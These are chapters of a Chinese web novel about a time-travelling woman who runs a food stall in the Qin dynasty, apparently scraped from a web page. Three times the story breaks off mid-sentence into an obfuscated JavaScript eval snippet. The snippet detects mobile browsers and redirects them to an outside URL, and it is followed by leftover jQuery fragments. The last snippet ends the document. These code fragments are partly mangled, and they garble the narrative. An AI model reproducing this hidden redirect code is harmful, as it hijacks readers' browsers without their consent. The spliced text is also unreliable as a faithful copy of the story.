再看自己右手胳膊里的阿妹，分开了有一段距离，她嘴角都一直带着笑。 阿嫂自己也嘴角弯弯：估计以后的妹婿，多半便是他了。 24.凉皮 阿嫂有孕，又添了小黑，全家都很高兴。 都说家中添丁是自带饭碗来的，果然在她预备着在农忙时节在小吃摊上新杏皮水时，却接到了来自司农监的另一笔订单。 因家中阿嫂有孕，家中摆摊的重任又落在她肩，可眼下麦子已熟，虽然大哥也在帮衬，但她毕竟想多尽一份心，于是左思右想又去找临娘告假。 前世的社畜病犯了，开口便是“抱歉”二字： “抱歉临娘，家中近来诸事烦杂，我还想告几日假……” 她还说了家中阿嫂有孕一事，就想多请几日。 临娘却嗔怪她不告诉自己，还从后厨拿了一小篮子鸡蛋递给她，“恭喜恭喜。” 接着又道，“正好有次司农监大人喝了一碗你煮的杏皮水，他觉得甘洌可口，正要找你商讨一件事呢。” 李卉最讨厌过夏天，又闷又热还没有空调的时代，幸好司农监后厨有三口深水井，比家中的大上许多，可以用来井镇更多的杏皮水，所以她就渐渐不从家里往出带了，而是买了材料直接煮。 一开始她并不知道自己这样做是否合规，便又去请示临娘，临娘却道没什么，还能开发出新的来，大伙儿高兴还来不及呢。 刚好又是她请假带阿嫂去医馆那日，司农监大人从外头回来，直说着又热又渴，底下人给他舀了碗刚从井里捞出来的杏皮水，他一口下肚不说，又连喝了三碗。 还一定要亲自到后厨来找做杏皮水的人，师傅们都不居功，就说是她做的。 梳理完前情，李卉不得不在心里感慨一句，真是不管到哪里，工作都要创新啊。 确定去找司农监大人是好事，李卉心中便也就没那么忐忑了。片刻之后谈妥，她还是被前呼后拥着出来的，那大人还把身旁的小吏——就是之前介绍她来应聘厨娘的那位——夸了一番，说什么慧眼识珠，能找到如此深明大义，心中有大爱的女子。 而被夸的人也面色自豪地看着正主，后来还做主多给了她五日假，工钱都算，以示褒奖：“卉娘能将杏皮水的方子无私献出，全安县的农家都会受益，我不过是牵线搭桥的而已。你就先辛苦十日，后头给你多放五日。” 李卉在边上听着，她哪敢居功，便又说了一番自谦之词，又拿“给自家侄儿积福”的话，才得以从司农监大门出来。 回到家中，见阿嫂拿着那框鸡蛋，差点都眼泪汪汪：“哎，这娃真是个有福的，竟然能吃到官署送的鸡蛋……” 她也就没把无私献方子的事儿说出去，反正司农监那边也没有不允许她不在自己的摊子上卖，跟官府打交道，有时候吃点亏便吃点吧。 农忙起来，李卉真是觉得自己除了不下地干活，真什么都做了。 家中晒好的杏干，除了预留些农忙时自家吃，其他的全都背去了司农监那边。爹娘问起，她还故意卖了个关子，说三日后便知晓了。 果然，到了第三日，远远地便看着官道上一辆牛车往麦田边晃悠悠地过来。 “咦，这不是卉娘吗？” 这片麦地几乎都是平安巷的人在种，所以对于李家阿卉还是较为熟悉。被认出来倒不是最要紧的，但是人们便会开始想啊：这李家的小娘子到底是投了什么门路，怎么还替官署送起每年的定例茶汤来？ 这便不得不说平安县县令的仁德之举了。因每年六月小麦收割总是格外忙乱，县令便敦促专司农事的司农监在每年的六月十五到二十五这十日内，每日午间派人送一次免费茶汤给过午尚在辛勤劳作的农户们吃。因为朝食和暮食都各自家中负责，午间大多都吃些点心垫补，相比之下便十分对付。这时候若有官府的茶汤来，是个人都会感谢的。 自然，这茶汤到底送什么，如何送，便全部由司农监大人自己定夺。 去年是绿豆汤，今年便是按照卉娘献出的方子熬煮的杏皮水。 李卉当日说了自己不收方子的钱，司农监便当即拍板让她负责这十日茶汤派送。 方子是值钱的，但也没那么值钱，可如今由她自己熬煮和派送的杏皮水，那那些在她小吃摊上来买了吃食的食客们，自然就会认得她；不仅如此，这样一来，几乎全平安县的农户们都知道她和她的杏皮水了。那她的小吃摊也就间接性地全县闻名啦！这可是舍小赚大的好买卖！ 虽然农忙时节她的小吃摊是关着的，但十日后是个怎样的情形，她用脚后跟想都知道。 家里人个个都面色喜庆，几乎都把“卉娘如今越发出息了”写在脸上。 当她的牛车路过自家田地时，小黑也威风凛凛地站在车头。邻居们有恭维的，也有羡慕的，李卉觉得木讷的阿爹是真正的高兴。 爹娘还问起过她这一趟差事的报酬，她本来想过向之前那样瞒着，但后来还是选择了和盘托出。哪知阿爹却道： “这是功德一件，阿卉做得对。” 李卉闻言，在感动之余，便做得更卖力啦。 因为她每日要负责这一趟茶水的派送，又不用忙着出摊，所以其他时间便都闲了下来。 阿嫂身子多有不便，她便在家中做好了她一人的饭食，再趁着熬煮杏皮水的便利，直接将食材带到司农监后厨，做好了再顺道在送茶时递给阿爹和大哥。 李卉变着花样做了很多菜，白菜汤，小米粥，凉拌苦菜，鱼肉羹，还有风干的野山鸡肉都拿了出来，但她却发现大家都兴致缺缺，就算是蘸酱吃，也没多少胃口。 她便想到了前世看过的一本书，说在一些地方，人们需要每日劳作，就很喜欢吃重口味的东西，重油重辣，吃了身上就能浑身是劲。 况且阿嫂的孕吐也越来越重，眼看着吃不下东西人都瘦下去了一圈，于是她便想到了一种简单易行的快手菜——小米凉皮。 前世的夏天 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15311111|165232||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，她最喜欢的便是在空调房里，大口地嗦着一碗凉皮再追个剧，现在想来都还是无比惬意。 可在大秦朝，她就得一早起来泡小米，把小米浸泡两个时辰后，再用石磨将其碾碎，若要口感更好些，便要多磨上一会儿，变成小米米浆。 石磨自然是比不上前世的大功率破壁机，但她也已经知足。 小米米浆里加上一大勺绿豆淀粉，再放上少许盐，将米浆搅拌成细腻浓稠的面糊，到能沾手的程度最好。 再找一个不大不小的陶盆，要紧的是底部要平，将面糊用木勺舀上去，再把小陶盆整个一起放在灶上铁釜里，用水的热气让米糊凝结成面皮，过凉水后再整个撕下来，两三张同样大小的面皮便能拌上一盘。颜色油光鲜亮，再舀上几勺甜辣酱，光是看着便让人胃口大开。 一晃十日便要过去，李卉便越来越盼着独属于她的五日假期。 可在第七日的晚间，家门口突然便多了两位婶子，李卉瞧着面熟，稍想了一下才想起来是离自己麦地不远处的人户家里。 “今日午间，见你家阿娘在吃小米凉皮，我们便想来问问，这凉皮是如何做得？” 农忙时节，无论男女老少都要下地干活。所以阿娘也就暂停了织布，到了地里帮忙：“听以前老人们讲起过，有一年抢收麦子，还碰巧见过王上的车驾呢。” 李卉之前读史书也见过类似的记载，是啊，民以食为天，王上都要去收麦，更何况是普通老百姓呢？ 涉及到今后开店的机密，杏皮水也就算了，但凉皮虽然简单，她也想藏这些，可不能谁来都说。 于是她便“简单”地将最复杂最需要掌握火候的“米糊凝结成面皮”这一步说得十分详尽。结果这两个人倒嫌麻烦起来，就问她能不能明日也帮着做些来。 说完便开始观察李卉，见她有些犹豫，便先道：“小娘子手艺好，如何这送上门来的生意却不做呢？” 李卉便说是方才在想家中小米还够不够，意思就是如果要买她做好的，可能价格就稍微要得更高些；但如果自己拿上一斤小米过来，价格便能便宜些。 “我与两位婶子也是乡里乡亲的，不好要得太高，您们看得起，就拿了小米来，我随意收个七八钱的手工费吧。” 那两位婶子便低头一合计，说了个“行”。 李卉估摸着这俩也是在家中不知道做什么饭送到田地间去的妯娌，不多会儿功夫她俩便利落地把一斤多小米塞到了她手上。 “那我明日便让我阿娘一并给您们送过去。钱到时候给我阿娘就成。” 那两人一听，这还是先吃后付钱啊，稀奇，“不过阿卉你的手艺，我们是信得过的，杏皮水煮得好喝着呢！我们作为长辈也不能欺负你一个小辈儿，还是先把钱付了，你收好哈。” “行嘞”，李卉也高兴，“那就辛苦婶子们多帮忙宣扬宣扬。” 25.开始养鸡 其实李卉还吃过不同做法的凉皮，但在工具简易的时代，她只能选择最为简单易行的方法。 比如还有一种就是把小麦磨粉，然后放在水里洗，虽然洗出来的面筋也是可以饱腹充饥的，但比起小米凉皮还是不好操作。 所以她就下定决心只做这一种。 那两位婶子因是她新菜品的头两位顾客，李卉还将改良后的甜辣酱送了一小罐。 嘴上说得很好，“让她们若是觉得不好吃，就多提提意见。” 当然她被前世的商家营销影响过，知道“不患多寡而患不均”，所以送甜辣酱这事儿她专门挑了送茶汤的最后一日，她周围人围得最多的时候。 旁边的人看得眼热，就一会儿功夫，就有好几个人过来问她这甜辣酱如何做的，卖不卖。李卉不贪心，她道： “这甜辣酱做起来费事儿，所以做得少，只够自家人吃的，但这两位婶子与我投缘，所以就送了这么一小罐，诸位阿姐阿婶们想要也没有啦。” 话音刚落，她边见那两位婶子面上带着笑意，被好奇的人围了个水泄不通，似乎人人都想知道，她们是如何与这位送茶汤的小娘子“投缘”的。 不多时，便有人也要与她定小米凉皮—— “方才听她们说起这凉皮，口感柔韧劲道，沾上酱不知能有多香，妹子，你家在何处？我晚些时候拿些小米过去，你帮我做了送来可好？”是一个满脸皱纹的老妇人。 李卉心中带着敬意喊了她一声“阿奶”，“您年迈腿脚不便，不如这样，您把您家的街巷告知于我，我拿陶盆过来装了，第二日给您送来。” “那太好了”，这位阿奶跟旁边的人一打听，就知道这是平安巷的李家卉娘，“咦，真是个口齿伶俐又机灵的丫头，李家夫妇俩当真养得好啊。” 旁人无不称是。这些话自然是慢慢会传到在麦田里劳作的爹娘和大哥耳朵里的，回来大哥又免不了要跟阿大嫂提及，大家都觉得她如今跟从前真的大不一样，待人接物也不再冷冰冰的，头脑活泛，生意自然就好，一时间，小米凉皮的订单竟然猛增了一把。 也好在后头五日她多休了假，不然拿回来的那么多小米，要想变成凉皮，还是相当具体的工作量呢。 阿嫂的孕期尚在二月里，本来还在忧心农忙时节小吃摊关了少个进项，哪知卉妹能这样开动脑筋，又忙着做小米凉皮，她想自己日日在家中坐着，是赋闲但也是一种劳心的折磨，于是主动提出要帮她的忙。 李卉正愁没有帮手呢，却也因为阿嫂身子重，又不好开口，如今阿嫂主动开了口，姑嫂俩就又可以并肩作战了。 那一斤又一斤的小米，泡成了一盆又一盆的米浆，最后变成了一张又一张的凉皮，累在案上，竟然有一尺之高。 这还只是一日的量，若日日都有这样好的生意，那就真太好了。李卉心里充满了期待，精神头也好，还把那些不成型的边角料，统统都丢给了脚边的狗儿小黑。 小黑才到李家半个来月，眼瞅着竟比之前从公子幸那里抱来的时候大了一圈，肚子日日吃得滚滚圆，这还不能够说明他们家的日子蒸蒸日上嘛？ “嗨，有事做有钱赚，就是好啊。阿嫂，你说是不？”李卉起了促狭的心思，先前丢给小黑的都没蘸酱，这一块却是蘸了辣酱的，直把小黑辣得呼呼往外吐舌头。 “是啊，到底是我们家阿卉，真能干啊！一斤八钱，这里都是几个八钱了啊？”阿嫂神色有些疲累，但心里却是实打实高兴的，李卉赶紧让她坐下，然后看了一眼小黑，又瞅了瞅那一堆没有吃完的边角料，再看看账簿上已记下来的明日预定，突然生了心思：“阿嫂，市集上的小雏鸡卖多少钱一只？” 话题转换得有些快，阿嫂还没能完全明白过来，再加上孕期反应确实有些慢：“阿卉是想养鸡？” 李卉确实有这个想法。她想起前世读书时，发现这时候的人们都是前院养狗后院养猪，现在前院的狗有了，猪还没有，实在是家底有些薄，但养三两只小鸡还是可以的。 “是了，我们家中后厨的食材越来越多，但是小猪仔太贵了，起码得上百钱一头吧？我还想要租铺子，不能把钱都砸进去……” 阿嫂点点头，“也是这个理。” 下一秒李卉倒是吃货本性暴露：“况且，我们养了鸡，往后打牙祭的时候，就不用指着山上的野鸡了，鸡蛋也可以自己吃，还能卖钱，对吧？” 她的这个想法自然全家人都是支持的。 可是到哪里去买小鸡呢？市集上怕被宰，又怕养不活，白瞎了钱，于是只好另外想辙，看爹娘和大哥大嫂的生活圈子里有没有相熟的人，至少能给她挑几只像样的，不要才养几天就死，那也挺晦气的，阿嫂现在还怀着孕呢，小鸡的死也是死，也挺不吉利的。 可爹娘认识的人里头，却很少有“门前养狗，屋后养猪”的殷实小康之家。那要怎么办呢？ 无奈之下，她只好趁着自己上午看摊儿的时候，去问下粥铺的梁老板。 他们家的朝食招牌菜便是碎鸡肉小米粥，他定是知道哪里的鸡最好。 果然，用一斤小米凉皮便换来了有价值的“情报”： “这还不简单，就日常与你相熟的那位公子幸的家中，便养了好多鸡，他家爹娘可是养鸡大户，我看你素日与他走得近，怎么没问问他？” 喂喂喂，怎么就“日常与你相熟”了？怎么就“素日与他走得近”了？ 莫非真是当局者迷旁观者清？ 李卉听着只觉得面上臊得慌，她想起前世最爱看的一类网文中，女主本来想立大女主人设，却最后处处都要靠着男主帮忙，如今她竟然也遇到了同样的局面。 不过从前有多鄙夷，那都是年少不知资源香啊，如今的打脸来得是如此之快，不过她也想好了安慰自己的理由： “哎，身穿异世，能自立门户就已算不错，哪里还要计较养的鸡是从哪里买的呢？” 那位梁老板还在等她的最终答复：“我倒是可以把他家的住址给你，你上门去问他家阿娘，定然让你心想事成。” 言语间，李卉还得知，因为公子幸在市集当守卫，行事诸多不便，每月粥铺所需的鸡，都是他爹送来的。 这么一说，她似乎模糊着有些印象，有一个面容和蔼的老者每隔十日便会提着鸡笼到粥铺来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15317134|165232||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，有时候还会在她这里买上几个肉夹馍带回去。 天啊，公子幸的家世，可比自己好得多哦！换在前世来，他就是养殖场老板的儿子，也是有些身价的呢！看不出来啊，真看不出来。 梁老板的话都说到这个份上，李卉便只有一边道谢，一边要来地址。 因为是有求于人，李卉上门前，也是备了礼物的——既然吃过她做的肉夹馍，那就带上一只风干兔腿和两张小米凉皮吧。 一看，那竹简上的地址倒是与她上工的司农监相隔不远。 买鸡之事，不宜有迟，于是她提上风干兔腿和小米凉皮，再背着个鸡笼，就去敲门。 临娘和荇娘见她连买鸡之事都如此慎重，又让她从后厨提了一些小点心去，“礼多人不怪，不然买到全是病鸡瘟鸡，那才麻烦呢。” 可敲开了那扇门，发现站在门口的，却是公子幸。 人在屋檐下，不得不低头，李卉首先道明来意，再喊了一声“阿幸”，公子幸便如长了飞毛腿一般，恨不得立刻将正在后院鸡舍忙活的爹娘请到面前来。 边往里走，李卉便一直打探着这个小院。 屋舍宽阔透亮，前头种的桑树整整两排，门口的大黑狗就是家中小黑的狗娘了，李卉倒是不怕，还丢了一个肥瘦相间的肉夹馍到它的石槽里，以谢它子母分离之恩。 “小娘子心善”，公子幸的阿娘恰好撞见这一幕，“我听我儿叫你阿卉，我便也托个大，如此叫你了。今日登门，可是要买鸡？” 李卉见面前的老妇人不过也不到半百的年纪，却是一县之中的养殖大户，她对于成功女性的敬意便又多了几分。 可从穿衣打扮上却看不出来她是一方富婆，她便想起了之前阿娘跟她说过的，大秦朝无论是穿衣还是吃饭，都不可逾制，所以尽管面前的这个人虽然衣着朴素，甚至还能闻到些鸡舍的味道，可日子过得并不差呢。估计后院除了鸡舍，还有牛棚和猪圈吧！ 一只鸡是十钱，但公子幸与他父母说明自己到她的小吃摊上买吃食会比其他人便宜一钱，他的阿娘也很好说话，便直接豪气了一回，四只鸡只要了二十八钱，还送了她一些喂鸡的饲料，外加一些养鸡的注意事项。 对于她这个养鸡新手来说，这可比什么都金贵的金玉良言呢。 她决定把这四只鸡先圈养，下一批再买时，才养成走地鸡，这可是四个金疙瘩啊——鸡生蛋，蛋生鸡，鸡又生蛋，蛋又生鸡，简直是子子孙孙无穷匮焉。 当然，这也得她能把这一批鸡养到那时候。 一手交了钱，一手拿了鸡，买卖双方都十分满意。 公子幸的阿爹认出了她是梁记粥铺门口卉娘小吃摊的小掌柜，他的阿娘显然也是吃过的，便也对她做的吃食赞不绝口，也跟她讨教了一番如何将凉皮做得更好吃的“美食经”，然后客客气气地让公子幸送她出的门。 到了门口，公子幸顺理成章地问她要了她家住平安巷的几门几号，“阿卉，往后你定是还需要买鸡饲料，不如我往后每十日便给你送一趟？” 他用的理由是，“你家里还有个小黑呢，我回头来时也把它狗娘大黑带上？” 26.疙瘩汤和爆款水 嗯……李卉一时竟也找不到合适的借口来拒绝。于是只得说了一声“好”。 公子幸听到了他想听的答案，又想把她再送出去一截，李卉忙道： “伯伯和伯娘应该挺忙的，你快去帮他们吧，我自己走。” 说着也不留给他与自己说话的机会，就径直走了。 到了六月底，天气不可避免地越来越热，才走不多会儿，她便一身的汗。 可她不敢停下来，因为大哥又一次接到调令离家，自家的麦子刚收割完，他便又被县衙那边叫去，帮忙收割官府的麦子。 爹娘都在地里忙着收尾，家中只有身子不便的阿嫂，李卉想想都觉得一身沉重，只得咬着牙，提着鸡笼，三步并作两步地回到家中。 她推开自家院门，每个屋都逛上一圈，其实是为了找阿嫂，还边走边喊，听到阿嫂应了，这才放心。 四只小鸡是买回来了，可如何安置它们还是个问题。因为家中没有现成的鸡舍，得等阿爹回来，才能做。 于是她只好在她房间外头的廊下，用麦秆粗粗地围上一圈，作为它们的活动范围。可那四只鸡却还认生，硬是躲在小鸡笼里不肯出来，因忙着要去做吃食，李卉也没太多心思管它们，只拿了一只破陶碗装了些水，在旁边的地上随便扔了一把鸡饲料，这便吆喝着小黑同她一道去后厨。 一般大家都是把狗养在前院的，但李卉觉得小黑还太小，还不够有威慑力，所以便养在了身边，也不套绳子，她看了一眼人和狗走了之后的鸡群，竟开始叽叽喳喳地啄食吃。她还指了指小黑，“看来你在它们看来已是庞然大物啦，小黑。” 小黑不明白主人在说什么，只“汪汪汪”叫得欢。 喝了一大碗井镇杏皮水后，李卉通体舒畅，便去问阿嫂想吃什么。 阿嫂情况特殊，为让她能够多吃些，李卉几乎使出了浑身解数，这才让她的脸色稍微比之前好了点。 “卉妹，我想吃点酸酸辣辣的东西，但我又没想到具体吃什么……”阿嫂有些为难，她确实没拿定主意。 “不如我们做些疙瘩汤来吃。”李卉扫了一眼陶缸里用新收的麦子磨的面粉，“再往里头加三个鸡蛋。” 自家麦地里的麦子已颗粒归仓，除了要上交给司农监的一部分外，剩下的就可以自己或吃或卖，由各家随意定夺。 但麦子金贵，一般人家都是卖了换钱的，阿嫂说往年他们家也是如此，可李卉却不这样认为，“收了新麦，自然是要做点新食来吃，如今我们的日子不同了，大哥回头也会多拿几斤麦子回来呢，再说了给我们家的小福娃吃，爹娘他们肯定愿意。” “阿嫂，不能一直坐着躺着，下来活动活动，跟我一起到后厨去，可好？”见阿嫂没有反对，李卉便出言相邀，“走，我教你做疙瘩汤。” 听到又可以学到新的花样，阿嫂脸上才又露出了笑容。 第一步自然是和面，却不能太干，也不能太稀，能在盆底如凝胶一般即可。 第二步便是做配菜，秦朝还没有番茄，但疙瘩汤讲究的就是一个胡乱搭配，她便把一些菘菜叶切成碎末，还有生姜和葱花也都一并切了，先把后头两种佐料下到釜中煸炒，等爆出香味后，就加两木瓢水，等水烧开。 接下来便是最关键的一步，做面疙瘩。前世有铝制的漏勺，秦朝没有，她便用买了个木质的，反正作用差不多。把漏勺清洗干净后，就用木勺从陶盆里舀了面糊往木质漏勺里倒，面糊便顺着漏勺的小孔滴落到滚水的釜中，一滴滴的小疙瘩圆润可爱，也让滚水慢慢变得浓稠顺滑。 等面疙瘩煮开后，就再放入菘菜碎末，很快便能煮熟，这时便先不加柴，用小火炜着，再加入橙黄的鸡蛋液，木勺一去，便成了好看的蛋花。 熟了以后再淋上一些菜油，便是一锅有菜有蛋的疙瘩汤啦。 李卉还不忘阿嫂如今的口味，单独给她的碗中放了一勺酸辣酱，不咸不淡的，阿嫂浅浅尝了，很能入口。 因刚做好的疙瘩汤太烫了，夏日又热，阿嫂舔了舔嘴唇，却又决定等爹娘回来一起吃。 李卉却坚持让阿嫂先吃上一些，前世的孕妇们都讲求少食多餐，“难得你现在想吃，就先吃一小碗，待会儿爹娘回来，你再陪他们一起吃，是一样的嘛。” 她觉得阿嫂这个人哪里都好，就是太过于守规矩，反而苦了自己，虽然此时的女性们大多如此，但李卉想，自己能帮一点就是一点吧。 果然，阿嫂便摸了摸微微隆起的肚子，似下了好大的决心一般，“好，不如这样，先给爹娘他们各盛起来一碗……” “哎呀，阿嫂，你就放心吃嘛”，李卉道，“疙瘩汤做起来很容易的，待会儿实在不够我就再做嘛……” 而她看了看已经被阿嫂舀起来的两大碗，只得无奈地叹了口气，然后不再劝，另舀一碗起来，给小黑的狗槽里放了半勺，剩下的全都给了小鸡。 又过了几日，大哥果真拿了十斤麦子回来，这是县衙那边给的酬劳。 因之前做疙瘩汤用了三斤麦子，阿嫂便坚持要给爹娘三斤，剩下的才拿回了小家。 李卉知道劝说无用，而爹娘又感慨了一番阿嫂的孝心，大哥也一脸“娶了个好媳妇”的骄傲，她这个有着前世记忆的半个穿越人，只能沉默是金。 因为天气热，李卉的小吃摊上也改了下经营策略。 之前卖得很好的肉夹馍和蒸饼，做起来费力不说，卖不完还要坏掉，就很可惜，她便专门只卖了水。 就是之前她给司农监那边供货的杏皮水。 司农监那边只供应了十日，又是无偿献方，自然便没有要求她不能在自己小摊上卖。 因为市集上主要受众还是普罗大众，有 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每每此时，李卉便会摆出自己的“生意经”：“做人做事诚信为本嘛，这是我爹娘时常教我的，少赚一点，厚道一点，心也安一点，不是吗？” 可实际上她也觉得自己这样做也很好啊，因为比起前世动辄十几块钱一杯的各色奶茶来说，四块钱一杯的杏皮茶简直比某雪王还要友好。 她在杏皮水上的一个商业理想，便是要将她的杏皮水打造成大秦的第一个“雪王”。 本来一切都很顺利，结果到了七月中时，就突然天降大旱，真是让她唏嘘不已。 好不容易生活光景好了一些，家中又马上要添丁进口，可却突然来了天灾。爹娘着急上火，大哥大嫂更是满面愁容——现下不要说吃好了，得先有活命的水啊！ 她的爆款杏皮茶便在大旱中夭折——纵使一再降价，大家也不会有那个闲心来消费的。 “很可能大旱之后还会有接踵而至的其他灾祸……”阿爹这个“靠天吃饭”的农民，看着收割后干裂的土地，仰天长叹。 他原本计划着，麦子收了，就租牛来犁地，把土地翻一翻，再沤沤肥，就给地里再种上些别的，如今看来，只能等天普降甘霖才行。 前世李卉本就是研究秦汉断代史的，知道秦始皇上位后，因水工郑国是韩国间人而下逐客令，历史上曾有过近两个月的大旱，后来也会下雨缓解。 可就算她再笃定，可心情还是会受到影响。 “或许这就是局外人和局内人的区别吧。”李卉再次感受到了秉笔直书的史家们在史册上所写的每一个字背后的厚重力量。 当然，她不能跟家人说眼前的困难只是暂时的，咬咬牙就挺过去了，那就是泄露天机。 她目前唯一能做的，就是竭尽所能地变得更乖一些，出门更早一些，钱挣得更多一些，这样也能让家人更放心一些。 27.桑叶茶 所以当爹娘以大旱当前，比如遇到个□□的，害怕她一个人应付不来时，李卉这次没有听从他们的意见，还是一如既往地上午摆摊，下午去司农监那边点卯。 旱情是最终可以缓解的，但小吃摊的生意一天也不能耽搁，这便是李卉自己拿定的主意。 阿爹见拗不过她，便也只好同意。背后还跟阿娘悄悄议论过，就觉得她这个执拗的性子又有几分像从前了，阿娘就作势要打他，说他怎么不盼闺女点好。 当然这些都是阿娘后来才讲给她听的，阿娘还怕她生气，说辞还相当委婉，李卉只觉得好笑，大概原身执着躺平的性子，给这个家庭留下了太深的心理创伤。 而李卉如今摆摊赚钱风雨无阻的样子，又像是另一个极端。 “无妨的，阿娘”，李卉道，“阿爹也是担心我嘛。” 而且自阿爹觉得自己说错了话，得罪了阿娘，就十分殷勤帮她专门在后院找了一块地方拿来做鸡舍。这样她就再也不用枕着鸡粪的味道入眠，她还计较什么呢？ 让她更为着急的是阿嫂的孕期情绪状态。 因为身体情况特殊，再加上大旱少雨，阿嫂整个人都是暴躁易怒的状态，全然不似之前的温柔贤淑。 阿嫂甚少出门，李卉之前还专门让她帮着晒杏干，眼下杏皮水也不卖了，她便发愁那些杏干要如何卖得掉。 尽管李卉一再保证，这场大旱一定会过去，但依然远水解不了近渴，阿嫂还是焦虑到夜不能寐，天天自己在家煮杏皮水来喝，这下倒是补充了水分，但自己却好像成了一颗发酵的酸杏子，连甚少到她跟前来讲他们夫妻小话的大哥，都愁眉苦脸地来求她想想办法：“卉妹，你看看有什么法子？这样下去不是长久之计啊。” “是啊，大哥”，李卉借她的嘴说出了女性生育之不易，“阿嫂这样可都是为了你，为了咱们这个家，往后你可要再对人家更好些。” “那是自然，”大哥似羞于在未婚小妹面前过多提及这些，便道，“我自己的媳妇，晓得心疼。” 李卉便去前院廊下，把小黑狗窝旁的桑叶揪下来些，一日两次煮了茶给阿嫂喝。 前世她熬夜较多，心火很旺，每次也是各种亚健康，为此还专门去看过中医大夫。还记得那大夫老神在在地给她抓了一副晒干的桑叶。后来喝了半个来月，症状果然有了减轻。为此她还专门去网上查过，桑叶茶是降血脂降血压降血糖的，也就一个“抗炎”可以稍微沾一点点边。 可她就是好了，于是这一世，她便也如法炮制，期待她这个半吊子郎中，能让阿嫂不再受心火煎熬之苦吧。 桑叶茶熬好后，她自己也跟着阿嫂喝了一段时间，心火也得降降，时局艰难呐。 除了天还是旱着，其他的一切四平八稳地度过了半个月。 七月底时，长平街市集上最大的那家吴记食肆，他们家的老板竟然由公子幸一路带过来，说是要和她谈生意。 这段时日忙得没空去想什么儿女情长，所以见到来人也是波澜不惊地行了礼，便去问那吴老板：“我家摊位很小，不知有何生意可谈？” 那吴老板虽说是老板，却也不过二十出头，一身行头倒是很有派头，李卉估摸着是吴记食肆的少东家，长得嘛倒是富贵窝里养出来的，和面前另一个风格不同。 公子幸感受到了李卉把他与吴家少东家暗暗相比的目光，轻咳一声，倒是公事公办的口吻：“摊位再小也是老板，要谈生意，我们都不要在这日头底下站着了，就都去隔壁粥铺喝完小米粥吧！” 这日之前，其实李卉并不太了解公子幸当值的具体事务有哪些，如今看着，巡视市集街巷也是他的职责之一吧。 因为言谈间，她了解到，那吴老板便是一路问询的过程中，遇到了正在巡视街巷的他，所以这才一路过来。 可目前看样子他还要跟着一起谈生意？ 因他身着守卫制服，李卉也就不好下他的面子，从善如流地跟着进了梁记粥铺。 才一坐定，那吴家的少东家便接过方才她和公子幸的话头，“不瞒小娘子，我家的产业也是从一开始的走街串巷摆摊开始的，所以你千万不要妄自菲薄……” 她瞥见公子幸也点了点头，面色也柔和了些许，想来他也是赞同的吧，不然方才也不会帮她说话。 再次申明，撇去那点儿只有她和他二人互相知晓的小心思，公子幸真堪为友。 随着小米粥逐渐见底，李卉与吴记少东家的洽谈也在愉快的氛围中逐渐结束。 对方提出想要买断李卉手中的食谱，类似于趁着如今大旱的年景不好，有点现在低买将来高卖的意头。 果然做大生意的人虽然表面可以仁和，心地也可以慈善，但论起商场的手段来，还是快刀斩乱麻式的狠辣。 卉娘自然是不会同意的：“我自己研制的方子怎可轻易卖掉？” 就算她愿意，她背后反对的人还有好几个呢。 说完又补了一句，“当初的杏皮水是个特例，因杏子是从西山上捡的，我不过多废了些柴火，而且我也想博得一些好的名声，所以才有此举……” 吴家的少东家以为李卉的这番托词只是想要加价，原本说一道方子八百钱买断，肉夹馍，凉皮，石墨豆腐，豆腐干和冷吃系列，总计就是四千钱，如今也加了些，变成了五千钱。 卉娘还是没同意，“做生意讲究和气生财，不如这样，我把方子租给你们，三年为期，一张方子四百钱，五张方子三年便是六千钱，租约到期我便自然要收回来。” 而且她还保证，租了方子就不会再销售同样的货品，而且在这三年内随时为对方提供这五道菜的改良和问题建议。 少东家是生意人，自然知道这二者之间看似后者价格比自己说的高了些，但实际得利的还是他们，于是也就不扭捏，“小娘子兰心蕙质，有守卫公子在此做个见证，今日我吴家便以七千钱租下，这是三千五百钱定金。剩下的在五日内交清。” 李卉见他如此爽快，也有点惊着了，这有钱人是随时都带着钱箱的吗？还是说今日他是势在必得？ 不管因为什么，这笔钱至少可以起到“久旱逢甘霖”之效，浇灭阿嫂孕期焦虑啦！ 事情办完后，那吴家的少东家也不拖沓，径直走了。 余下李卉和公子幸你看我、我看你。 “额……那个杏皮水的事，我也不全是为了好名声哈，我毕竟是安县子民，刚好有这个手艺，就当做个贡献……” “卉娘，你不必解释，我知你为人”，公子幸道，“还是说，你也认为我的看法对你很重要，所以你怕我偏听偏信误会了你？” 李卉：…… 嗨，何必多此一举？到底是为何，要搬起石头，却砸了自己的脚啊！ 今日也不摆摊了，那么大一个钱箱得先搬回去，还要留够路上去司农监的时间。 因是在梁记粥铺谈的事，李卉还特意把摊位上剩下的两块豆腐干给了方才帮忙招待的二位跑堂小哥，梁老板今日似不在，不然早就出来围观他们谈事啦。 那两位小哥估摸着还没吃点心垫补，拿着两块豆腐干眼睛都笑眯了，嘴上说着吉祥话，又是帮她搬这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 